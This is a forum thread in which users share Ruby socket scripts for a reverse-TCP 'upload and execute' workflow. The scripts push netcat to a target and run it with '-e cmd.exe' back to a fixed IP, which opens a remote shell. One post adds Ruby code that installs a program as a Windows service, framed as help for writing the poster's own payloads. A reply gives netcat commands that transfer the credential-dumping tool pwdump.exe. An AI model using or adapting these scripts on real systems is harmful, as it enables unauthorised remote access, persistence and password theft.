Ruby... reverse tcp file upload and download examples

[BigMac]

im going to show you a few examples on how to send files back and forth threw sockets with ruby... i have 4 scripts i would like to post, 2 server and 2 client scripts(templates)... the first examples could be a basic revers tcp upload and execute...

first example... always run the server first...
server.rb <==server sends client file==> client.rb

#server sends client file over socket
require 'socket'
server = TCPServer.open(2000)

loop {
  Thread.start(server.accept) do |client|
    #client.puts(Time.now.ctime)
	file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
	fileContent = file.read
	client.puts(fileContent)
	client.close
end

}

now run the client

#client receive file from server
require 'socket'

host = '192.168.1.4'
port = 2000
sock = TCPSocket.open(host, port)

	data = sock.read
	destFile = File.open('/tmp/netcat.exe', 'wb')
	destFile.print data
	destFile.close

second example...
server.rb <==client sends file to server==> client.rb

#server receive a file from client
require 'socket'
server = TCPServer.open(2000)

loop {
  Thread.start(server.accept) do |client|
    #client.puts(Time.now.ctime)
	data = client.read
	destFile = File.open('/tmp/netcat.exe', 'wb')
	destFile.print data
	destFile.close
end

}

#client sends file to server
require 'socket'

host = '192.168.1.4'
port = 2000
sock = TCPSocket.open(host, port)

	file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
	fileContent = file.read
	sock.puts(fileContent)
	sock.close

Here would be a simple execute function you could add to the client...

puts"executing nc"
z = Thread.new { system "C:/netcat.exe 192.168.1.4 100 -e cmd.exe -d" }
z.run
puts"end of script"

[BigMac]

I am working on coding my own payloads in ruby, i found some ruby example source for adding your programs as a service...

[fact]"you must add extra code that lets the service program communicate with the Windows Service Manager, so that the service can be started, stopped, and can communicate its status and dependencies to the manager."

ruby solution
just thought i would share...

   require "win32/service"
   include Win32

   s = Service.new("some_machine")

   # Create a new service
   s.create_service{ |s|
      s.service_name     = "foo"
      s.binary_path_name = "C:\\some_dir\\foo.exe"
      s.display_name     = "My Foo Service"
   }

   # Configure a service that already exists
   s.configure_service{ |s|
      s.display_name = "My Bar Service"
   }

   s.close

   Service.start("foo")
   Service.pause("foo")
   Service.resume("foo")
   Service.stop("foo")

   Service.delete("foo")

   Service.getdisplayname("Schedule") # "Task Scheduler"
   Service.getservicename("ClipBook") # "ClipSrv"

   s = Service.status("ClipSrv")

   # Enumerate over all services, inspecting each struct
   Service.services{ |s|
      p s
      puts
   }

[Gitsnik]

Request (more for your sake than mine), make the file transfer asynchronus - upload a program while downloading a file (or anything like that). Because I tend to not sound very useful, the following in netcat:

Server:
nc -l -p 8080 < pwdump.exe > auditor.txt
Client:
nc server 8080 < auditor.txt > pwdump.exe